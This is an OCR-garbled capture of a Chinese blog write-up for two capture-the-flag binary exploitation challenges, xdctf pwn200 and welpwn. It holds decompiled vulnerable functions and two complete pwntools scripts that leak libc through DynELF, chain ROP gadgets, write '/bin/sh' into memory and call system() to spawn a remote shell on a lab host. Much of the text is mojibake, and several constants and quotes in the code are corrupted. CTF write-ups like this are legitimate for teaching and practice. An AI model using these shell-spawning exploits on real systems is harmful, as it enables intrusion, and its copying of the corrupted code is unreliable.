A X HlibeXXf:, mfgetshell? xdctf12 pwn200 5
welpwn K] writeup

L% F 2019-07-26 18:29:31 K A5 282 (€1

FFEER. ZIJHId CTF

FRALE B ASCRE ERAQISCE, #IE_CC 4.0 BY-SA WA, B85 _EFE T s AE i,
ACHERE: https://blog.csdn.net/weixin_42151611/article/details/97401274

AL
: ; v
25 B E 0TI
TSR
IIiI
B CTF
16 X E 0T B
ITHER
DynELF

XA#%4: https://pwntools.readthedocs.io/en/stable/dynelf.html

A Bk, DynELFAT AR X 5 Mlibefs B

KRTDynELFHRE, XAMEE VIR L

8% https://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html

8 H 1 xdctf12 pwn200

GitHub

BT AR HEBERAR T


https://blog.csdn.net/weixin_42151611
https://blog.csdn.net/weixin_42151611/category_7734626.html
https://blog.csdn.net/weixin_42151611/category_8758506.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_42151611/article/details/97401274
https://blog.csdn.net/weixin_42151611/category_7734626.html
https://blog.csdn.net/weixin_42151611/category_8758506.html
https://pwntools.readthedocs.io/en/stable/dynelf.html
https://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html
https://github.com/DayJun/Blogs/tree/master/Articles/xdctf12%20pwn200

TR RARB &

ssize_t sub_8048484()

{
char buf; // [esp+1Ch] [ebp-6Ch]

setbuf(stdin, &buf);
return read(®, &buf, @x106u);
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Linux ubuntu 4.15.0-54-generic #58~16.04.1-Ubuntu SMP Mon Jun 24 13:21:41 UTC 2019 x86_64 x86_64 x86_64
GNU/Linux

Linux kali 4.19.0-kali5-amd64 #1 SMP Debian 4.19.37-5kalil (2019-06-20) x86_64 GNU/Linux
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from pwn import *

from LibcSearcher import *
context(arch="amdé4"',0s="1inux")
#context. log_Llevel = 'debug'

#1o = process('./xdctf1l5 pwn200")
io = remote('192.168.95.146"',10000)
length = @x6c

elf = ELF('./xdctfl5 pwn200")
elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']

bin_sh = 0x8042100

main = Ox080484BE

write plt

def leak(address): #XF#iEFLeak ZIHIHHE
io.recv()
payload = 'a'*@x6c+'aaaa’'+p32(write_plt)+p32(main)+p32(1)+p32(address)+p32(4)
io.send(payload)
data = io.recv(4) #B 4232107, HrLIN #FEZRIIZH
log.info( '%#x => %s' % (address, hex(u32((data or '')))))
return data

def write(address,string):
payload = 'a'*@x6c+'aaaa'+p32(read_plt)+p32(main)+p32(0)+p32(address)+p32(len(string))
io.send(payload)
io.send(string)

def getshell(address,bin_sh):
payload = 'a'*@x6c+'aaaa'+p32(address)+p32(0)+p32(bin_sh)
io.send(payload)
io.interactive()

d = DynELF(leak,elf=elf)

sys_addr = d.lookup('system', 'libc")

libc_base = d.lookup(None, 'libc")

print hex(sys_addr)

#gdb.attach(io, 'b *0x080484BC")
#raw_input()
write(bin_sh, '/bin/sh\xe0")

print hex(bin_sh)
getshell(sys_addr,bin_sh)
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int _ cdecl main(int argc, const char **argv, const char **envp)

'

char buf; /f [rsp+6h] [rbp-466h]

alarm(@xAu) ;

write(1, "Welcome to RCTFA\n", @x10uLL);
fflush(_bss_start);

read(@, &but, @ﬂd@@uLL);
echo({__inte4d)&buf);
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return @;
1

1/int _ fastcall echo(__inte4 al)

2i{

3| char s2[16]; // [rsp+18h] [rbp-16h]
4

50 for (1 =@; FBYTE *)}(1 + al); ++1i )
6 s2[1] = *(_BYTE *)(1 + al);

7| =2[1i] = @;

g if ( !strcmp("ROIS", s2) )

9 {
10 printf("RCTF{Welcome}", =2);
11 puts("” is not flag");
12 }
13| return printf("%s", s2);
14y
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from pwn import *

from LibcSearcher import *
context(arch="amdé4"',0s="1inux")
#context.log Level = 'debug'

#1io0 = process('./welpwn')

io = remote('192.168.95.146"',10000)
elf = ELF('./welpwn')

length = 16

write_plt = elf.plt['write']
write_got = elf.got['write']
read_got = elf.got['read']
pop_rbx_rbp_ri2_ri13_rl4 rl5 = 0x40089A
pop4d = ©x40089C

mov_dx_si_di = 0x400880

pop_rdi = 0x4008a3

readn = 0x400805

main = 0x4007CD

bin_sh = 0x601100

io.recv()
def leak(address):
payload = 'a'*length+'a'*8+p64(pop4)+p64(pop_rbx_rbp_ri2 ri3 ri4_ri5)
payload +=p64(0)+p64(1)+p64(write_got)
payload += p64(8)+p64(address)+p64(1)+p64(mov_dx_si_di)
payload += p64(0)*7+p64(main)
payload = payload.ljust(0x400,'C")
io.send(payload)
data = io.recv(8)
io.recv()
log.info("%#x => %s" %(address,hex(u64((data or "').1ljust(8,'\x00')))))
return data

def write(address,string):
payload = 'a'*length+'a'*8+p64(pop4)+p64(pop_rbx_rbp_ri2 ri3 ri4_ri5)
payload +=p64(0)+p64(1)+p64(read_got)
payload += p64(len(string))+p64(address)+p64(0)+p64(mov_dx_si_di)
payload += p64(0)*7+p64(main)
payload = payload.ljust(0x400,'C")
io.send(payload)
io.send(string)

def getshell(address,bin_sh):
payload = 'a'*length+'a'*8+p64(pop4)+p64(pop_rbx_rbp ri2 ri3 ri4_ri5)
payload +=p64(0)+p64(1l)+p64(address)
payload += p64(0)+p64(0)+p64(bin_sh)+p64(mov_dx_si_di)
payload += p64(0)*7+p64(main)
payload.ljust(ox4e0, 'C")
io.send(payload)

payload

#gdb.attach(io, 'b *0x400814")

#raw_input()

d = DynELF(leak,elf=elf)

sys_addr = d.lookup('system', 'libc")
log.success("system address: "+hex(sys_addr))
#gdb.attach(io, 'b *0x400793")

#raw_input()

write(bin_sh, '/bin/sh\x00"'+p64(sys_addr))
getshell(bin_sh+8,bin_sh)

io.interactive()



	没有对方libc文件，如何getshell？xdctf12 pwn200 与 welpwn 的 writeup
	DynELF
	题目1 xdctf12 pwn200
	提前说明一下
	exp
	题目2 welpwn
	exp


